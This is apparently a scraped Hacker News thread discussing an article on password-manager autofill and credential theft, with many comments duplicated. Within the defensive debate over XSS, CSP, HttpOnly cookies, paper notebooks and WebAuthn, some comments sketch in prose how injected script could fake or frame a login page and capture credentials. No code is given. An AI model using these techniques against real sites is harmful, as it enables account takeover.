Autofill in password managers can allow login credentials to be stolen(marektoth.com)
marektoth.com
Autofill in password managers can allow login credentials to be stolen
https://marektoth.com/blog/password-managers-autofill/
143 comments
> If a site is vulnerable to XSS it's basically game over security-wise. Asking browsers and password managers not to autofill feels more like security theater at that point.
Exactly. It doesn't matter if the manager inputs it for you or you input it yourself. The only case where I see it strictly worse is in pages that require an extra password input while already logged in for modifying sensitive info/settings.
Exactly. It doesn't matter if the manager inputs it for you or you input it yourself. The only case where I see it strictly worse is in pages that require an extra password input while already logged in for modifying sensitive info/settings.
Exactly. Plus, you don't even need to spoof anything - you can show the real login page!
There are many ways, but one particularly undetectable one would be to clear cookies and local-storage (causing the user to be logged out). Then use the history API to change the URL to the login page, and finally load the real login page in a full-screen iframe. Since the iframe contents are on the same domain, you can just reach in an extract the username & password fields as the user enters them.
There are many ways, but one particularly undetectable one would be to clear cookies and local-storage (causing the user to be logged out). Then use the history API to change the URL to the login page, and finally load the real login page in a full-screen iframe. Since the iframe contents are on the same domain, you can just reach in an extract the username & password fields as the user enters them.
Bitwarden has a hotkey to invoke autofill on a page. Not sure how much safer it actually is, but at least it feels like I'm in control.
It's safer as long as you don't hit it. (And, since the chance of you NOT hitting it is greater than zero, it can be called safer.)
Hit it when logging in to HN. It will populate both the set of fields you've highlighted (login) as well as the other set on the page (register). If there were a third, hidden, injected set of fields controlled by an attacker, those would be filled too.
The old security-convenience trade-off is an immutable law of the Universe.
Hit it when logging in to HN. It will populate both the set of fields you've highlighted (login) as well as the other set on the page (register). If there were a third, hidden, injected set of fields controlled by an attacker, those would be filled too.
The old security-convenience trade-off is an immutable law of the Universe.
If an attacker could inject anything into the page, they may as well rewrite the form’s target URL, so I don’t see a real threat model for that.
>The old security-convenience trade-off is an immutable law of the Universe.
I'm not so sure. I type many fewer passwords now that I switched from reusing the same password for everything to using a password manager. I went from 60 bits of entropy to over 100 and when my single password got compromised it also compromised every account. Now I type a password once when I unlock a PC and use Face ID to unlock the database on my phone. On the whole things are much more convenient and secure. It was just very inconvenient to touch every account I own.
Rather than a hard and fast rule of the universe, the trade-off assumes a lot of things, such as users are trying to be secure with a specific range of effort.
I'm not so sure. I type many fewer passwords now that I switched from reusing the same password for everything to using a password manager. I went from 60 bits of entropy to over 100 and when my single password got compromised it also compromised every account. Now I type a password once when I unlock a PC and use Face ID to unlock the database on my phone. On the whole things are much more convenient and secure. It was just very inconvenient to touch every account I own.
Rather than a hard and fast rule of the universe, the trade-off assumes a lot of things, such as users are trying to be secure with a specific range of effort.
this wouldnt happen with keepass's auto-type which sends keystrokes from the desktop app. when you execute the hotkey with the focus on the username input, it types the username first, then sends the tab key, types the password, then sends enter. it wouldn't continue to fill in some hidden fields that are off screen.
i would have thought that most browser autofill extensions would be designed to only fill in details once, but who knows
i would have thought that most browser autofill extensions would be designed to only fill in details once, but who knows
It seems like it would help if a password manager gave a warning before/instead of filling out multiple logins on one page. I log into a fair number of different sites in none of those do I want fill out multiple fields on the same page.
> If a site is vulnerable to XSS it's basically game over security-wise.
Another reply seems to have focused on having XSS causing an attacker to gain access to session cookies. But no one has mentioned using Content-Security-Policy [0] - which if set properly can make it nearly impossible to exploit an XSS vulnerability in the first place.
[0] https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
Another reply seems to have focused on having XSS causing an attacker to gain access to session cookies. But no one has mentioned using Content-Security-Policy [0] - which if set properly can make it nearly impossible to exploit an XSS vulnerability in the first place.
[0] https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
csp is basically only useful when eng teams don't rely on unsafe-inline and unsafe-eval as a crutch.
which far, far too many apps do.
which far, far too many apps do.
> If some site has an XSS vulnerability, then they've already got access to my session cookies
Not true if the website uses HttpOnly session cookies as they should.
Not true if the website uses HttpOnly session cookies as they should.
They don't need your session cookie either. An attacker can just use XmlHttpRequest to perform any actions as you on the website, and read the web page results. E.g. go to your profile and steal all your personal data.
They can also set up a keylogger or fake login screen and wait for you to type or paste in your password yourself.
I've always thought HttpOnly cookie flag is overrated. Stealing the session cookie may be the easiest attack but it's hardly the only.
They can also set up a keylogger or fake login screen and wait for you to type or paste in your password yourself.
I've always thought HttpOnly cookie flag is overrated. Stealing the session cookie may be the easiest attack but it's hardly the only.
I'm pretty sure you can defend against this with javascript script hashes and restrictive CSR's, but yeah, they are quite involved to setup.
Perhaps I'm slow. But if someone's discovered an XSS vulnerability for the site you're on, can't they just as well steal your password when you type it in?
Agreed, definitely not newsworthy. This is like pointing out that if you got access to arbitrary code execution on the HTTP server that accepts the login POST request, you could also steal login credentials. Or if you were running a malicious browser extension. Or the browser itself is compromised.
If an attacker is able to run any code they want anywhere along the way it's effectively game over, autofill or not.
If an attacker is able to run any code they want anywhere along the way it's effectively game over, autofill or not.
Depends. Many applications will have their login screens on simple server-generated HTML forms without heaps of Javascript, rendered by a service with higher security standards.
If an XSS vulnerability appears on some other page, it may not be the same page that normally has a login form.
Generally I'd say the gates are kinda open if XSS is possible, but many real exploits do require more than 1 vulnerability working together; so defense in depth applies.
If an XSS vulnerability appears on some other page, it may not be the same page that normally has a login form.
Generally I'd say the gates are kinda open if XSS is possible, but many real exploits do require more than 1 vulnerability working together; so defense in depth applies.
So the attacker uses the XSS to change the "Login" link to not send you to the secure page, but rather to do a History.pushState with the same URL as the "secure" page, mimics the secure page, and exfils the credentials.
The OP is on the other side of the airtight hatch already.
(This does require said login page to be on the same origin. But even if the attacker just ignores that, and otherwise mimics the page as closely as possible, would you notice? Heck, even if you moved it to just being in the same page without the URL change, as long as the branding was close enough, I bet most folks would go "uh, the UI changed again" not "uh oh! it's not on a secure subdomain!". Let's hope your password manager notices. But even then, I suspect that most of them would just not autofill, and a confused user would manually fill, wondering what happened.)
The OP is on the other side of the airtight hatch already.
(This does require said login page to be on the same origin. But even if the attacker just ignores that, and otherwise mimics the page as closely as possible, would you notice? Heck, even if you moved it to just being in the same page without the URL change, as long as the branding was close enough, I bet most folks would go "uh, the UI changed again" not "uh oh! it's not on a secure subdomain!". Let's hope your password manager notices. But even then, I suspect that most of them would just not autofill, and a confused user would manually fill, wondering what happened.)
Except, if there is XSS, its usually in user submitted data, like a post. You wouldn't type in your password on a user post or alert box. And the login page is usually on a different page altogether, by itself.
I disagree about "usually." I would say it is very common now for the login controls to be in the sidebar and visible wherever. Not to mention how many things you would care about compromising are single-page apps or at least very rich apps that might just use a popover.
This is kind of irrelevant since you can pretty easily override everything about the XSS payload to make it look like a legitimate login page for the site you're looking for.
Depending on the nature of the site, it's possible it won't even stand out as odd even if it loads a login control at a non-"login" URL.
Depending on the nature of the site, it's possible it won't even stand out as odd even if it loads a login control at a non-"login" URL.
HTML5 History API allows for modifying the URL too.
If an attacker leverages an XSS they can exactly replicate the login page, URL and all, only limited by payload size and modern protections like CSP.
If an attacker leverages an XSS they can exactly replicate the login page, URL and all, only limited by payload size and modern protections like CSP.
Good advice. Ever since Tavis Ormandy set his sights on password managers, I have been a very sceptical user. I still use 1Password, but without the browser extension. Putting autofill aside, there's a couple of other concerns I have.
I am hesitant about recommending a password manager to the tech illiterate simply because one piece of malware could compromise the entire vault. In that respect, a sticky note is arguably more secure than a tech illiterate person using a password manager.
Also, I have my usual criticism of client-side browser encryption. Anyone who has the technical ability to compromise a cloud-based service can likely take it a step further and modify JavaScript files enabling total vault compromise. There is no easy way for a user to mitigate this risk.
Password managers must be a stop-gap measure only until webauthn is more widely deployed. I long for the day when phone-based webauthn keys are the norm, and I can stop fielding questions about password managers from friends and family.
I am hesitant about recommending a password manager to the tech illiterate simply because one piece of malware could compromise the entire vault. In that respect, a sticky note is arguably more secure than a tech illiterate person using a password manager.
Also, I have my usual criticism of client-side browser encryption. Anyone who has the technical ability to compromise a cloud-based service can likely take it a step further and modify JavaScript files enabling total vault compromise. There is no easy way for a user to mitigate this risk.
Password managers must be a stop-gap measure only until webauthn is more widely deployed. I long for the day when phone-based webauthn keys are the norm, and I can stop fielding questions about password managers from friends and family.
A piece of paper is the most secure solution, sure, but once you get to the point where you have a hundred passwords, even if you've got them all in the same place, it's too unwieldy to use.
FieldNotesBrand.com
Sticky notes suck because people leave them in plain sight. A notebook is a totally reasonable way for a non-technical person to track passwords securely.
Sticky notes suck because people leave them in plain sight. A notebook is a totally reasonable way for a non-technical person to track passwords securely.
A notebook is a totally reasonable way for a non-technical person to track passwords securely.
I do this, even though I'm a "technical" person. I do it because I use unique passwords for almost every site I visit.
The notebook never leaves the house, but what if I have a fire? I remember a few passwords, but most of them "poof, gone".
My reckless behavior reminds me of this commercial parody on SNL, long ago:
- A Tradition of Security -
We will make a list of our clients and how much money each of them has given us to invest. We will keep this list in a safe place. If we have time we will make a copy of the list in case something happens to the first list.
http://www.faqs.org/faqs/tv/sat-night-live/commercials/
I do this, even though I'm a "technical" person. I do it because I use unique passwords for almost every site I visit.
The notebook never leaves the house, but what if I have a fire? I remember a few passwords, but most of them "poof, gone".
My reckless behavior reminds me of this commercial parody on SNL, long ago:
- A Tradition of Security -
We will make a list of our clients and how much money each of them has given us to invest. We will keep this list in a safe place. If we have time we will make a copy of the list in case something happens to the first list.
http://www.faqs.org/faqs/tv/sat-night-live/commercials/
In case of fire, seems like you only need to memorize the passwords for your email accounts. Everything else can be fixed with “reset your password” links.
I’ve sometimes wondered if that would be a useful security scheme. Using email as a de facto pw manager. Memorize your email pw. Use the password reset feature on your critical sites. It would be enormously inconvenient. But it would mean your passwords are never written down and never stored in a pw manager’s database.
Seems like that would make things more secure, but I’m probably overlooking something.
I’ve sometimes wondered if that would be a useful security scheme. Using email as a de facto pw manager. Memorize your email pw. Use the password reset feature on your critical sites. It would be enormously inconvenient. But it would mean your passwords are never written down and never stored in a pw manager’s database.
Seems like that would make things more secure, but I’m probably overlooking something.
It's a complicated issue.
I think some people don't make any real effort to keep track of their passwords, and so reset via email is kind of common.
But what if you're Sarah Palin, governor of some out-of-the-way state (pop. 736,000). Suddenly you're thrust into the spotlight as a VP candidate.
Sucks for her that Yahoo's password reset questions at the time were simple: The Yahoo! account's password could be reset using shared secret questions including "where did you meet your spouse?" along with the date of birth and ZIP code of the former governor to which answers were easily available online.
https://en.wikipedia.org/wiki/Knowledge-based_authentication
Can you trust your email provider not to let your account get "stolen" from you?
I think having a discussion like this on HN is great. It gives people an opportunity to re-evaluate their current procedures.
I think some people don't make any real effort to keep track of their passwords, and so reset via email is kind of common.
But what if you're Sarah Palin, governor of some out-of-the-way state (pop. 736,000). Suddenly you're thrust into the spotlight as a VP candidate.
Sucks for her that Yahoo's password reset questions at the time were simple: The Yahoo! account's password could be reset using shared secret questions including "where did you meet your spouse?" along with the date of birth and ZIP code of the former governor to which answers were easily available online.
https://en.wikipedia.org/wiki/Knowledge-based_authentication
Can you trust your email provider not to let your account get "stolen" from you?
I think having a discussion like this on HN is great. It gives people an opportunity to re-evaluate their current procedures.
Do you have your password manager database and private keys backed up in a way that would survive if you have a fire? A lot of people may think they have backups of stuff like this but unless you remember to grab that thumb drive out of your desk drawer (assuming you're home) a fire might still destroy them.
No, no, I don't have my passwords anywhere but in a paper notebook. And I don't have any other copies. That's what I meant by "my reckless behavior".
What percentage of people use a password manager? I think on iOS/macOS it's pretty high because Safari offers to save them, but what about non-technical users in general?
As to why I don't use a password manager, I think that the probability of some bug or hack or whatever of the password manager, which would lead to all my passwords being compromised, is greater than the probability of my house burning down.
Do I really want to trust Firefox with all my passwords? Do I really want to trust Google with all my passwords? (Fuck no!) Do I really want to trust some random password manager with all my passwords?
The smart thing to do, which I unfortunately don't, is to memorize a handful of passwords and use a password manager for the rest. E.g. remember bank password, use a password manager for Chipotle and Five Guys.
What percentage of people use a password manager? I think on iOS/macOS it's pretty high because Safari offers to save them, but what about non-technical users in general?
As to why I don't use a password manager, I think that the probability of some bug or hack or whatever of the password manager, which would lead to all my passwords being compromised, is greater than the probability of my house burning down.
Do I really want to trust Firefox with all my passwords? Do I really want to trust Google with all my passwords? (Fuck no!) Do I really want to trust some random password manager with all my passwords?
The smart thing to do, which I unfortunately don't, is to memorize a handful of passwords and use a password manager for the rest. E.g. remember bank password, use a password manager for Chipotle and Five Guys.
> Do I really want to trust Firefox with all my passwords? Do I really want to trust Google with all my passwords? (Fuck no!) Do I really want to trust some random password manager with all my passwords?
There are options like KeePass or Bitwarden that allow you to store your own database file wherever you see fit or self host, respectively.
> The smart thing to do, which I unfortunately don't, is to memorize a handful of passwords and use a password manager for the rest. E.g. remember bank password, use a password manager for Chipotle and Five Guys.
This is the way that I mitigate risk as well. My email password is not present in the db, nor is my checking.
There are options like KeePass or Bitwarden that allow you to store your own database file wherever you see fit or self host, respectively.
> The smart thing to do, which I unfortunately don't, is to memorize a handful of passwords and use a password manager for the rest. E.g. remember bank password, use a password manager for Chipotle and Five Guys.
This is the way that I mitigate risk as well. My email password is not present in the db, nor is my checking.
It should be reasonably safe to store database files on various cloud storages. If you are not willing to do so, it is also possible to keep them on flash drives at your relatives' homes.
Yeah but unless you have a lot of foresight they’re not going to end up in a useful order.
You can just use an address book (the paper sort with letter dividers).
> A piece of paper is the most secure solution
I beg to differ. A piece of paper can easily be found by someone. Much easier than hacking a password manager. Unless you're storing that piece of paper in a safe, it's not secure. The only advantage of paper is that it's not exploitable remotely.
I beg to differ. A piece of paper can easily be found by someone. Much easier than hacking a password manager. Unless you're storing that piece of paper in a safe, it's not secure. The only advantage of paper is that it's not exploitable remotely.
> A piece of paper can easily be found by someone. Much easier than hacking a password manager.
A piece of paper in a locked drawer is potentially accessible to a person breaking into it. It is probably an unsophisticated burglar looking for money. They are probably located in the vicinity of your neighbourhood and have rocked up to your home, and will not evade capture for long. They will likely leave DNA. If they decide to swipe your notebook, it will be immediately apparent you have been compromised, as your drawer is open and your notebook open or missing. Your notebook may be looked at momentarily, perhaps passed to one or two people, more likely, it will be thrown into a gutter as soon as the burglar realises it has no money in it, or just left untouched.
A password in a locked password manager is potentially accessible to a person breaking into it. It is probably a sophisticated cyberattacker looking for credentials. They are probably located overseas and have remotely connected to your home network, and will evade capture. They will leave no trace. If they decide to compromise your vault, it may not be immediately apparent you have been compromised, as your password manager is still there. Your vault will be scrutinised intensely, and your credentials will be sold to many others on a darknet forum.
I know which I'd rather.
A piece of paper in a locked drawer is potentially accessible to a person breaking into it. It is probably an unsophisticated burglar looking for money. They are probably located in the vicinity of your neighbourhood and have rocked up to your home, and will not evade capture for long. They will likely leave DNA. If they decide to swipe your notebook, it will be immediately apparent you have been compromised, as your drawer is open and your notebook open or missing. Your notebook may be looked at momentarily, perhaps passed to one or two people, more likely, it will be thrown into a gutter as soon as the burglar realises it has no money in it, or just left untouched.
A password in a locked password manager is potentially accessible to a person breaking into it. It is probably a sophisticated cyberattacker looking for credentials. They are probably located overseas and have remotely connected to your home network, and will evade capture. They will leave no trace. If they decide to compromise your vault, it may not be immediately apparent you have been compromised, as your password manager is still there. Your vault will be scrutinised intensely, and your credentials will be sold to many others on a darknet forum.
I know which I'd rather.
If someone sees a list of site/user/pass, wouldn't they take a photo of it instead of stealing the entire notebook? It just seems like the obvious thing to do.
>They are probably located in the vicinity of your neighbourhood and have rocked up to your home, and will not evade capture for long. They will likely leave DNA
Did you get that from CSI: Miami? Nobody is gonna collect DNA samples just because some stuff went missing in your home. The cops will file a report and tell you to file an insurance claim.
>They are probably located in the vicinity of your neighbourhood and have rocked up to your home, and will not evade capture for long. They will likely leave DNA
Did you get that from CSI: Miami? Nobody is gonna collect DNA samples just because some stuff went missing in your home. The cops will file a report and tell you to file an insurance claim.
Burglars are in and out in a matter of minutes. There's no way they're standing there taking photographs. Like I said, they want money (and easily hocked valuables). No street criminal is interested in your Google Account login.
Australian here. When my house was broken into Police forensics came that afternoon and fingerprint dusted all points of entry and lifted prints. Do they not do this in your jurisdiction? I have just realised DNA is probably poor shorthand for that.
Australian here. When my house was broken into Police forensics came that afternoon and fingerprint dusted all points of entry and lifted prints. Do they not do this in your jurisdiction? I have just realised DNA is probably poor shorthand for that.
Honestly the American cops are unlikely to bother with that. But still, I agree that a burglar is unlikely to bother with your password notebook.
If someone has remotely compromised my home network how do I know they haven't just installed a keylogger, and are capturing the passwords that I type in via a sticky note?
I'm just a person on the internet, so my threat model may be different to yours, but my threat model is for the most part phishing, social engineering, data breaches, and the likes. The majority of these are fixed by password autofill (for the most part)
I'm just a person on the internet, so my threat model may be different to yours, but my threat model is for the most part phishing, social engineering, data breaches, and the likes. The majority of these are fixed by password autofill (for the most part)
> It is probably a sophisticated cyberattacker looking for credentials
It is probably the script of a sophisticated cyberattacker leveraging some vulnerability for looking for credentials of thousands of people at once. Yes, the burglar is a total non-threat by comparison (unless they happen to be working for your very personal enemy intelligence agency)
Good security practice would add a memorized element to the stored passwords as an informal second factor. Are there password managers that have good support for that when auto-filling and updating?
It is probably the script of a sophisticated cyberattacker leveraging some vulnerability for looking for credentials of thousands of people at once. Yes, the burglar is a total non-threat by comparison (unless they happen to be working for your very personal enemy intelligence agency)
Good security practice would add a memorized element to the stored passwords as an informal second factor. Are there password managers that have good support for that when auto-filling and updating?
I used to work in a pretty secure environment. The way to store passwords was to write them on a piece of paper and put that paper in your personal safe. This was inside a building with armed guards.
I guess it all depends on where your risk/convenience preference. I would say just like the best camera is the one you have with you, the best way of storing passwords is the one you are willing to use. Perhaps pen and paper in a safe is the best way, but if that means insecure easy passwords are used for many sites I guess password managers are better.
I guess it all depends on where your risk/convenience preference. I would say just like the best camera is the one you have with you, the best way of storing passwords is the one you are willing to use. Perhaps pen and paper in a safe is the best way, but if that means insecure easy passwords are used for many sites I guess password managers are better.
There’s an assumption that no malicious actors exist in any physical proximity. A strange thing to say but so far probably true enough.
If you hide it in a random book, it will be unlikely found by anyone. Burglars don't steal books.
When you hide it in a random book, and need to access it frequently, you end up with the plot device where the hyperintelligent detective guy immediately realizes that there can only be one reason this particular book looks more used than all the others.
The real threat of course is that you'll definitely not remember yourself (because you only use it for that one ring master password which you never use)
The real threat of course is that you'll definitely not remember yourself (because you only use it for that one ring master password which you never use)
Yes but there is very low correlation of risk - much less than if your password manager is online.
Time to revive the rolodex...
With a polarizing filter, oled display, vision based user recognition and a nice haptic knob, hopefully in some sort of upcycled oak, alder or white ash.
Don't forget wifi connectivity...
A web based admin interface might be handy as well...
Ohhh, with automatic firmware updates! Maybe it syncs over Bluetooth, or pretends to be a car infotainment system to keep a copy of your mobile contacts.
The complexity probably warrants some sort of embedded microservice arch, like microK8S.
The complexity probably warrants some sort of embedded microservice arch, like microK8S.
That was going to be my suggestion.
I'm a fan of Zettlekasten for notetaking and knowledge management.
Filing passwords on index cards or business cards (3.5x2 in, ~9x5cm), with a sensible indexing system, scales up reasonably well. There's certainly extant physical infrastructure.
The typical person has on the order of about 100 online accounts. Managing even 1,000 accounts in an index card file is at least within reason.
Another alternative is a GPG-encrypted file, though keeping that synchronised between multiple locations might prove a challenge.
I'm a fan of Zettlekasten for notetaking and knowledge management.
Filing passwords on index cards or business cards (3.5x2 in, ~9x5cm), with a sensible indexing system, scales up reasonably well. There's certainly extant physical infrastructure.
The typical person has on the order of about 100 online accounts. Managing even 1,000 accounts in an index card file is at least within reason.
Another alternative is a GPG-encrypted file, though keeping that synchronised between multiple locations might prove a challenge.
> Another alternative is a GPG-encrypted file, though keeping that synchronised between multiple locations might prove a challenge.
What's the difference between what you're suggesting here and a password manager? Enxrypted local file, with an optional sync service. I know that if I was setting up my own password manager for security reasons, the sync part is likely the most vulnerable, hence why I would like to offload that to a third party that I trust.
[0] https://bitwarden.com/help/article/what-encryption-is-used/
What's the difference between what you're suggesting here and a password manager? Enxrypted local file, with an optional sync service. I know that if I was setting up my own password manager for security reasons, the sync part is likely the most vulnerable, hence why I would like to offload that to a third party that I trust.
[0] https://bitwarden.com/help/article/what-encryption-is-used/
Not being dependent on some external maintainer outside your preferred editor and encryption tools.
The ability to port to any alternative tools that provide superior capabilities, should the need arise.
Utilising the file using standard shell tools (gpg piped to grep, sed, awk, etc.).
I've been around long enough to see multiple tools come and go. Even PGP itself dates from after the beginning of my professional career with computers (though near the beginning). There are multiple applications, operating systems, and architectures I've used which have been relegated to the dustbin of history. I'm quite leery of becoming dependent on any one specific application or tool, most especially one that that's not been proven across multiple decades and widely adopted.
PGP, GPG, vi/vim, or emacs would all pass my tests. They're available on any system I could conceivably use. Even iOS, though with some difficulty.
Encrypting and syncing a file is simple.
Managing syncs from multiple locations of an encrypted file is ... a bit more complicated. Git might be able to manage that with some hooks.
The ability to port to any alternative tools that provide superior capabilities, should the need arise.
Utilising the file using standard shell tools (gpg piped to grep, sed, awk, etc.).
I've been around long enough to see multiple tools come and go. Even PGP itself dates from after the beginning of my professional career with computers (though near the beginning). There are multiple applications, operating systems, and architectures I've used which have been relegated to the dustbin of history. I'm quite leery of becoming dependent on any one specific application or tool, most especially one that that's not been proven across multiple decades and widely adopted.
PGP, GPG, vi/vim, or emacs would all pass my tests. They're available on any system I could conceivably use. Even iOS, though with some difficulty.
Encrypting and syncing a file is simple.
Managing syncs from multiple locations of an encrypted file is ... a bit more complicated. Git might be able to manage that with some hooks.
Your personal convention that would keep you unaffected from bulk attacks targeting the tool used by millions in the same way.
If you want a local one, Keepass will do.
A sticky note doesn't protect against phishing, though, which is a much more likely risk for most users.
A password manager only really offers marginal phishing protection, in the sense that 'automatic autofill' (as defined in the original post) is not available with an unrecognised website.
The problem is most profound with tech illiterate folk. If you have tried to teach a tech illiterate person how to use a password manager (as I have), you may have encountered the issue that 'autofill' isn't 100% accurate. You will occasionally hit a subdomain or alternative domain which using the same credentials as the saved website (eg amazon.co.uk vs amazon.com). It will appear that no credentials are available for that site. Therefore, you usually have to teach the person how to manually search the vault and either fill manually, or copy and paste credentials. Otherwise, you can expect phone calls for support. And, of course, the original article actually suggests disabling automatic autofill. It suggests filling manually, further opening up the possibility of mistakenly filling onto a dodgy domain. As soon as you teach them a workaround to deal with this case, the phishing vector is basically no different to a post-it.
This problem might also apply to a tired, tech literate person, who mindlessly fills manually or copies credentials without checking the domain.
In either case, we fall back to Google Safe Browsing doing its job properly, and await solid anti-phishing solutions like FIDO2/webauthn.
The problem is most profound with tech illiterate folk. If you have tried to teach a tech illiterate person how to use a password manager (as I have), you may have encountered the issue that 'autofill' isn't 100% accurate. You will occasionally hit a subdomain or alternative domain which using the same credentials as the saved website (eg amazon.co.uk vs amazon.com). It will appear that no credentials are available for that site. Therefore, you usually have to teach the person how to manually search the vault and either fill manually, or copy and paste credentials. Otherwise, you can expect phone calls for support. And, of course, the original article actually suggests disabling automatic autofill. It suggests filling manually, further opening up the possibility of mistakenly filling onto a dodgy domain. As soon as you teach them a workaround to deal with this case, the phishing vector is basically no different to a post-it.
This problem might also apply to a tired, tech literate person, who mindlessly fills manually or copies credentials without checking the domain.
In either case, we fall back to Google Safe Browsing doing its job properly, and await solid anti-phishing solutions like FIDO2/webauthn.
> A password manager only really offers marginal phishing protection, in the sense that 'automatic autofill' (as defined in the original post) is not available with an unrecognised website.
I don't know if alerting the user that something is wrong could be described as "marginal" for phishing attacks.
Sure, they may still make the bad decision but it might seem odd to them that their password manager didn't offer to fill it in for the site and get them to start looking around and double checking things.
I don't know if alerting the user that something is wrong could be described as "marginal" for phishing attacks.
Sure, they may still make the bad decision but it might seem odd to them that their password manager didn't offer to fill it in for the site and get them to start looking around and double checking things.
You still need 2FA and the 2FA absolutely should NOT be a part of your password manager. Use a different app at the very least.
This should help alleviate some of the worst password manager risks.
This should help alleviate some of the worst password manager risks.
Under WebAuthn you can have 2FA despite only one authentication flowing from your authenticator to the web site. Nice smartphones (say, a modern Pixel or an iPhone) with fingerprint readers, have as the two factors your fingerprint (something you are) and the phone itself (something you have). The phone signs your authentication, the private information (your fingerprint) never leaves the phone, it just warrants that it checked it (UV bitflag in the signed data)
Or say you have a FIDO 2 Security Key from Yubico. As well as the features of the cheaper FIDO 1 Security Key products, this has a PIN verifier. The PIN is something you know, while the Security Key itself is something you have, so that's two factors, once again the UV bitflag is signed.
It's simpler, it's easier, it's more secure. And yet, right now I bet an HN reader is implementing yet another shitty SMS-as-2FA hack and we're still in a thread about remote authenticating with passwords - an idea that was already terrible in the 1970s.
Or say you have a FIDO 2 Security Key from Yubico. As well as the features of the cheaper FIDO 1 Security Key products, this has a PIN verifier. The PIN is something you know, while the Security Key itself is something you have, so that's two factors, once again the UV bitflag is signed.
It's simpler, it's easier, it's more secure. And yet, right now I bet an HN reader is implementing yet another shitty SMS-as-2FA hack and we're still in a thread about remote authenticating with passwords - an idea that was already terrible in the 1970s.
What if the phone is fully compromised?
What about it?
If your threat model is "People fully compromised my phone" then you should definitely not rely on the phone in the face of that.
If your threat model is "People fully compromised my phone" then you should definitely not rely on the phone in the face of that.
Is there any realistic scenario that protects against a fully compromised phone/computer?
I mean yeah, if you use 2FA and both phone and computer are just one factor on their own, then a compromised phone does not matter. So my question is, how about the mentioned scenario - to me it seems that just compromising the phone would compromise the whole, but maybe I misunderstood.
> You still need 2FA and the 2FA absolutely should NOT be a part of your password manager. Use a different app at the very least.
Recommended if storing 2FA codes in a password manager is to use 2FA for the password manager that isn't stored in the password manager. Off the top of my head, that doesn't seem to really open up any additional risks over storing 2FA passwords outside of the password manager.
Personally, it's a matter of practicality - I use my phone for personal 2FA codes, but don't have a work-provided phone and am not going to use my personal phone for work purposes - and as many services now require 2FA, it's easiest to store those 2FA codes in my work-provided password manager.
Recommended if storing 2FA codes in a password manager is to use 2FA for the password manager that isn't stored in the password manager. Off the top of my head, that doesn't seem to really open up any additional risks over storing 2FA passwords outside of the password manager.
Personally, it's a matter of practicality - I use my phone for personal 2FA codes, but don't have a work-provided phone and am not going to use my personal phone for work purposes - and as many services now require 2FA, it's easiest to store those 2FA codes in my work-provided password manager.
It's great that he differentiates the two different types of "autofill" in the beginning, and regretfully later on refers to automatic autofill as autofill.
-
"Autofill can be 2 types: automatic autofill (autofilling a password without user interaction) and manual autofill (autofilling a password after some user interaction - clicking in the password manager's UI). In the following article, the term autofill always means automatic autofill."
-
When we designed the SaaS Paas password manager we opted for the manual autofill as it requires intent and thus mitigates against many of the highlighted attack vectors that come with "automatic autofill." In addition, the password manager extension has a session timeout and has no static master password at (mitigating against replay attacks). You can only unlock the browser extension with passwordless MFA. The added advantage of this is that you can share your browser comfortably with others.
NB: worked on balancing usability and 2fa security.
-
"Autofill can be 2 types: automatic autofill (autofilling a password without user interaction) and manual autofill (autofilling a password after some user interaction - clicking in the password manager's UI). In the following article, the term autofill always means automatic autofill."
-
When we designed the SaaS Paas password manager we opted for the manual autofill as it requires intent and thus mitigates against many of the highlighted attack vectors that come with "automatic autofill." In addition, the password manager extension has a session timeout and has no static master password at (mitigating against replay attacks). You can only unlock the browser extension with passwordless MFA. The added advantage of this is that you can share your browser comfortably with others.
NB: worked on balancing usability and 2fa security.
Besides convenience, one of the benefits of autofill is that it offers some implicit feedback about potential phishing sites. For example, your O365 credentials shouldn't autofill on off1ce.com. If I was on a site and noticed that my credentials didn't autofill (or offer autofill) when they normally would, this would immediately raise some red flags for me.
The article does looks at how password managers autofill on different levels of subdomains, which is relevant to my point above - a hijacked subdomain would be a problem for many of the password managers he tested.
The article does looks at how password managers autofill on different levels of subdomains, which is relevant to my point above - a hijacked subdomain would be a problem for many of the password managers he tested.
Your first point doesn't really seem valid when comparing manual to automatic autofill. When I manually autofill, my password manager will show a suggested list of matching passwords. off1ce.com would not suggest my Office password, so I would still be alerted to a phishing site.
I'm not sure I follow - automatic autofill and manual autofill would both raise red flags by not automatically filling in credentials (automatic autofill) or not suggesting credentials (manual autofill).
edit: I think I understand. My first point doesn't show that automatic autofill is better than manual, because both methods will raise red flags. I.e. this isn't a reason to choose automatic over manual autofill. I think this is a fair point.
I do think that both autofill methods have an advantage over simple copy/paste, especially given the XSS discussion in other threads here.
edit: I think I understand. My first point doesn't show that automatic autofill is better than manual, because both methods will raise red flags. I.e. this isn't a reason to choose automatic over manual autofill. I think this is a fair point.
I do think that both autofill methods have an advantage over simple copy/paste, especially given the XSS discussion in other threads here.
My password manager uses manual autofill. I'm not sure it even has auto autofill.
Thanks to AJAX, sites can get text entry immediately.
I remember a guy telling me about a store site he went to, and started to fill out the credit card form, but never completed the purchase. He never hit "BUY."
They charged his card anyway.
Thanks to AJAX, sites can get text entry immediately.
I remember a guy telling me about a store site he went to, and started to fill out the credit card form, but never completed the purchase. He never hit "BUY."
They charged his card anyway.
Chase Ultimate Rewards travel portal did this at some point in the past. I got to the checkout stage for a hotel booking, never booked, but it still deducted the points from my account. I had to call Chase CS to get them deposited back.
This was 5+ years ago, I assume it's been since changed for the better.
This was 5+ years ago, I assume it's been since changed for the better.
wait, what? that's super duper shady as shit. the darkest of dark patterns, and probably violates something more than my feelings. there's been many a times i've gotten all the way to the review and just before hitting confirm/submit/buy/purchase/complete/etc, i've backed out because I had forgotten something or decided to check another site just to be sure. luckily, nothing like this has ever happened to me.
They could very well store your card information even if they don't fraudulently charge you outright. They could even legitimize this action under the guise of server-side credit card number validation.
That's different than charging though. A lot different. There's no real way of knowing what goes on under the hood when putting your info into a web/app form like this, but if I was charged for something without pressing the actual buy button then "Houston, we have a problem".
True, that would certainly be not as worse and downright illegal as charging. It still seems very slimy, though -- why are you storing my CC details when I never actually made a purchase on your site?
I hate these articles. To steal the password you need malicious code running on the website. Autofill or not your data is taken.
The only action that needs to be taken by the browser or password manager is to specifically avoid autofilling multiple accounts. THAT is the problem here, not autofill itself.
The only action that needs to be taken by the browser or password manager is to specifically avoid autofilling multiple accounts. THAT is the problem here, not autofill itself.
God bless KeePass. Never have to deal with these. I just double click and ctrl+v whenever I need to use a pass. Takes extra 3 seconds but I feel like I am not giving anything to the browsers to save.
Now your security issue is other applications accessing your clipboard.
